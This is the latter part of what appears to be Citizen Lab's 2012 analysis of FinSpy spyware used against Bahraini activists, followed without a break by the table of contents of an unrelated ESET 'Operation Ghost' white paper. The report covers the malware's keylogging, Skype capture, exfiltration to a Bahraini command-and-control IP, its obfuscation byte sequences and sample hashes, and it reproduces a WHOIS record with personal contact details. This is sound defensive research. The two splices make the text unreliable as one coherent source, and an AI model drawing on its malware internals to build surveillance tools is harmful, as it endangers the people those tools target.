[EBP-0x40] 0x406EB4: 8345E804 ADD DWORD PTR [EBP-0x18],0x4 0x406EB8: 6A01 PUSH 0x1 0x406EBA: 89040F MOV DWORD PTR [EDIECX],EAX 0x406EBD: FF152810AF01 CALL DWORD PTR [0x1AF1028] 0x406EC3: 817DE800010000 CMP DWORD PTR [EBP-0x18],0x100 0x406ECA: 72D8 JB 0x406EA4 0x406ECC: 80277F AND BYTE PTR [EDI],0x7F ... 70 31 bd cc 70 31 bd cc 70 31 bd cc 70 31 bd cc 70 31 bd cc 70 31 bd cc 70 31 bd cc 70 31 bd cc 26 e9 23 60 80 4b 26 60 da ad 28 60 34 10 2b 60 8e 72 2d 60 e8 d4 2f 60 42 37 32 60 9c 99 34 60 http://technet.microsoft.com/en-us/library/cc77326328vws.1029.aspx July 2012 14 In reality, these records are only partially encrypted: if the records length is not a multiple of 16 bytes (the AES block size), then the remainder of the bytes are written to the file unencrypted. For example, after typing FinSpy on the keyboard, the keylogger module produced the following (trailing plaintext highlighted): The predictability of the AES encryption keys allowed us to decrypt and view these partially-encrypted records in full plaintext. The nature of the records depends on the particular module and submodule. For example, submodule Y 5 of the Skype exfiltration module (XX 14), contains a csv representation of the users contact list: Record 0 Length: 243 bytes: bOp192.168.131.67JRecordingEcsv 0-0800UTC DST.12012-07-18 18:00:21.:1970-01-01 00:16:00Abhwatch1 Record 1 Length: 96 bytes: USERNAME,FULLNAME,COUNTRY,AUTHORIZED,BLOCKED Record 2 Length: 90 bytes: Zecho123,Echo / Sound Test Service,,YES,NO Record 3 Length: 95 bytes: bhwatch2,Bahrain Watch,United States,YES,NO https://citizenlab.org/wp-content/uploads/2012/07/image25-500.png July 2012 15 Submodule Y 3 records file transfers. After a Skype file transfer concludes, the following file is created: USERPROFILE\Local Settings\Temp\smtXX.tmp. This file appears to contain the sent / received file. As soon as smtXX.tmp is finished being written to disk, a file (1431XXXXXXXX.dat) is written, roughly the same size as smtXX.tmp. After sending a picture (of birdshot shotgun shell casings used by Bahrains police) to an infected Skype client, the file 1431028D41FD.dat was observed being written to disk. Decrypting it revealed the following: Record 1 Length: 78247 bytes: [Note: Record 1 contained the contents of the .jpg file, preceded by hex A731010090051400, and followed by hex 0A0A0A0A.] Record 0 Length: 441 bytes: bOp192.168.131.67Abhwatch1Bbhwatch2CBahrain WatchIreceivedrC:\Documents and Settings\XPMUser\My Documents\gameborev3.jpgJRecording 0-0800UTC DST.12012-07-20 12:18:21.:2012-07-20 12:18:21 July 2012 16 Additionally, submodule Y 1 records Skype chat messages, and submodule Y 2 records audio from all participants in a Skype call. The call recording functionality appears to be provided by hooking DirectSoundCaptureCreate: COMMAND AND CONTROL This section describes the communications behavior of the malware. When we examined the malware samples we found that they connect to a server at IP address 77.69.140.194 https://citizenlab.org/wp-content/uploads/2012/07/image29-500.png July 2012 17 WHOIS data 7 reveals that this address is owned by Batelco, the principal telecommunications company of Bahrain: For a period of close to 10 minutes, traffic was observed between the infected victim and the command and control host in Bahrain. A summary of the traffic by port and conversation size (click image to enlarge): The infected VM talks to the remote host on the following five TCP ports: Based on observation of an infected machine we were able to determine that the majority of data is exfiltrated to the remote host via ports 443 and 4111. inetnum: 77.69.128.0 - 77.69.159.255 netname: ADSL descr: Batelco ADSL service country: bh 22 53 80 443 4111 https://citizenlab.org/wp-admin/post.php?post14092actionedit7 https://en.wikipedia.org/wiki/Batelco https://citizenlab.org/wp-content/uploads/2012/07/image30.png https://citizenlab.org/wp-content/uploads/2012/07/image32-lg.png July 2012 18 CONCLUSIONS ABOUT MALWARE IDENTIFICATION Our analysis yields indicators about the identity of the malware we have analyzed: (1) debug strings found the in memory of infected processes appear to identify the product and (2) the samples have similarities with malware that communicates with domains belonging to Gamma International. Debug Strings found in memory As we previously noted, infected processes were found containing strings that include finspyv4.01 and finspyv2: Publicly available descriptions of the FinSpy tool collected by Privacy International among others and posted on Wikileaks 8 make the a series of claims about functionality: Bypassing of 40 regularly tested Antivirus Systems Covert Communication with Headquarters Full Skype Monitoring (Calls, Chats, File Transfers, Video, Contact List) Recording of common communication like Email, Chats and Voice-over-IP Live Surveillance through Webcam and Microphone Country Tracing of Target Silent Extracting of Files from Hard-Disk Process-based Key-logger for faster analysis Live Remote Forensics on Target System Advanced Filters to record only important information Supports most common Operating Systems (Windows, Mac OSX and Linux) 192.168.131.65:1213 - 77.69.140.194:443 1270075 bytes 192.168.131.65:4111 - 77.69.149.194:4111 4766223 bytes y:\lsvn_branches\finspyv4.01\finspyv2\src\libs\libgmp\mpn-tdiv_qr.c y:\lsvn_branches\finspyv4.01\finspyv2\src\libs\libgmp\mpn-mul_fft.c y:\lsvn_branches\finspyv4.01\finspyv2\src\target\bootkit_x32driver\objfre_w2k_x86\i386\bootkit_x32driv er.pdb https://www.privacyinternational.org/ https://citizenlab.org/wp-admin/post.php?post14092actionedit8 July 2012 19 Shared behavior with a sample that communicates with Gamma The virtual machine used by the packer has very special sequences in order to execute the virtualised code, for example: Based on this we created a signature from the Bahrani malware, which we shared with another security researcher who identified a sample that shared similar virtualised obfuscation. That sample is: The sample connects to the following domains: The domain tiger.gamma-international.de has the following Whois information 9 : 66 C7 07 9D 61 mov word ptr [edi], 619Dh C6 47 02 68 mov byte ptr [edi2], 68h 89 57 03 mov [edi3], edx C7 47 07 68 00 00 00 mov dword ptr [edi7], 68h 89 47 08 mov [edi8], eax C6 47 0C C3 mov byte ptr [edi0Ch], 0C3h md5: c488a8aaef0df577efdf1b501611ec20 sha1: 5ea6ae50063da8354e8500d02d0621f643827346 sha256: 81531ce5a248aead7cda76dd300f303dafe6f1b7a4c953ca4d7a9a27b5cd6cdf tiger.gamma-international.de ff-demo.blogdns.org Domain: gamma-international.de Name: Martin Muench Organisation: Gamma International GmbH Address: Baierbrunner Str. 15 PostalCode: 81379 City: Munich CountryCode: DE Phone: 49-89-2420918-0 Fax: 49-89-2420918-1 Email: infogamma-international.de Changed: 2011-04-04T11:24:2002:00 https://citizenlab.org/wp-admin/post.php?post14092actionedit9 July 2012 20 Martin Muench is a representative of Gamma International, a company that sells advanced technical surveillance and monitoring solutions. One of the services they provide is FinFisher: IT Intrusion, including the FinSpy tool. This labelling indicates that the matching sample we were provided may be a demo copy a FinFisher product per the domain ff-demo.blogdns.org. We have linked a set of novel virtualised code obfuscation techniques in our Bahraini samples to another binary that communicates with Gamma International IP addresses. Taken alongside the explicit use of the name FinSpy in debug strings found in infected processes, we suspect that the malware is the FinSpy remote intrusion tool. This evidence appears to be consistent with the theory that the dissidents in Bahrain who received these e-mails were targeted with the FinSpy tool, configured to exfiltrate their harvested information to servers in Bahraini IP space. If this is not the case, we invite Gamma International to explain. RECOMMENDATIONS The samples from email attachments have been shared with selected individuals within the security community, and we strongly urge antivirus companies and security researchers to continue where we have left off. Be wary of opening unsolicited attachments received via email, skype or any other communications mechanism. If you believe that you are being targeted it pays to be especially cautious when downloading files over the Internet, even from links that are purportedly sent by friends.
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ACKNOWLEDGEMENTS Malware analysis by Morgan Marquis-Boire and Bill Marczak. Assistance from Seth Hardy and Harry Tuttle gratefully received. Special thanks to John Scott-Railton. Thanks to Marcia Hofmann and the Electronic Frontier Foundation (EFF). We would also like to acknowledge Privacy International for their continued work and graciously provided background information on Gamma International. http://www.bbc.co.uk/news/technology-14981672 http://www.finfisher.com/FinFisher/en/index.phpsaDsntz1usgAFQjCNGsJVX58w-1pPJc-v9nwhCG1rH0UA http://www.cs.berkeley.edu/wrm/ http://www.johnscottrailton.com/ https://www.privacyinternational.org/ July 2012 21 FOOTNOTES 1 http://www.finfisher.com/ 2 http://owni.eu/2011/12/15/finfisher-for-all-your-intrusive-surveillance-needs/SpyFiles 3 http://blogs.aljazeera.com/profile/melissa-chan 4 This technique was used in the recent Madi malware attacks. 5 http://www.finfisher.com/ 6 Unpacking Virtualised Obfuscators by Rolf Rolles - http://static.usenix.org/event/woot09/tech/full_papers/rolles.pdf 7 http://whois.domaintools.com/77.69.140.194 8 E.g. http://wikileaks.org/spyfiles/files/0/289_GAMMA-201110-FinSpy.pdf 9 http://whois.domaintools.com/gamma-international.de Back to top MEDIA COVERAGE The Wall Street Journal Slate CSO Tech Week Europe Bloomberg Electronic Frontier Foundation Privacy International Spiegel Online PC Mag The New York Times About the Author Morgan Marquis-Boire is a Technical Advisor at the Citizen Lab, Munk School of Global Affairs, University of Toronto. He works as a Security Engineer at Google specializing in Incident Response, Forensics and Malware Analysis. http://www.finfisher.com/ http://owni.eu/2011/12/15/finfisher-for-all-your-intrusive-surveillance-needs/SpyFiles http://blogs.aljazeera.com/profile/melissa-chan https://www.securelist.com/en/blog/208193677/The_Madi_Campaign_Part_I http://www.finfisher.com/ http://static.usenix.org/event/woot09/tech/full_papers/rolles.pdf http://wikileaks.org/spyfiles/files/0/289_GAMMA-201110-FinSpy.pdf https://citizenlab.org/wp-admin/post.php?post14092actionedittop http://blogs.wsj.com/digits/2012/07/25/how-pro-regime-forces-use-spyware-to-target-arab-spring-rebels/ http://www.slate.com/blogs/future_tense/2012/07/25/finspy_trojan_from_gamma_group_may_have_been_used_against_bahraini_activists_says_report_.html http://www.cso.com.au/article/431899/finfisher_fingered_bahrain_folk_surveillance/?fp4fpid959105 http://www.techweekeurope.co.uk/news/cyber-spy-bahrain-gamma-international-87396 http://www.bloomberg.com/news/2012-07-25/cyber-attacks-on-activists-traced-to-finfisher-spyware-of-gamma.html https://www.eff.org/deeplinks/2012/07/elusive-finfisher-spyware-identified-and-analyzed3Cbr20/3E https://www.privacyinternational.org/blog/british-spyware-used-to-target-bahraini-activists http://www.spiegel.de/netzwelt/netzpolitik/bahrain-trojanerangriff-auf-buergerrechtler-a-846515.html http://securitywatch.pcmag.com/none/301324-finfisher-spyware-c-c-server-detected-in-us http://bits.blogs.nytimes.com/2012/08/13/elusive-finspy-spyware-pops-up-in-10-countries/ OPERATION GHOST The Dukes arent back they never left Matthieu Faou Mathieu Tartare Thomas Dupuy ESET Research White papers // October 2019 TABLE OF CONTENTS 1. Executive summary . . . . . . . . . . . . . . . . . . . . . 4 2. Background . . . . . . . . . . . . . . . . . . . . . . . . 4 2.1 Timeline . . . . . . . . . . . . . . . . . . . . . . . 4 2.2 Targets . . . . . . . . . . . . . . . . . . . . . . . 5 2.3 Tools and tactics . . . . . . . . . . . . . . . . . . . . 6 3.
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Operation Ghost . . . . . . . . . . . . . . . . . . . . . . 7 3.1 Targets and timeline . . . . . . . . . . . . . . . . . . . 7 3.2 Attribution to the Dukes . . . . . . . . . . . . . . . . . 8 3.3 Tactics and tools . . . . . . . . . . . . . . . . . . . . 10 3.4 Operational times . . . . . . . . . . . . . . . . . . . 11 4. Technical analysis . . . . . . . . . . . . . . . . . . . . . . 12 4.1 Compromise vector . . . . . . . . . . . . . . . . . . . 12 4.2 PolyglotDuke: the first stage . . . . . . . . . . . . . . . . 12 4.3 RegDuke: a first-stage implant . . . . . . . . . . . . . . . 18 4.4 MiniDuke backdoor: the second stage. . . . . . . . . . . . . 21 4.5 FatDuke: the third stage . . . . . . . . . . . . . . . . . 23 4.6 LiteDuke: the former third stage . . . . . . . . . . . . . . 30 5. Conclusion. . . . . . . . . . . . . . . . . . . . . . . . .33 6. Bibliography . . . . . . . . . . . . . . . . . . . . . . . 34 7.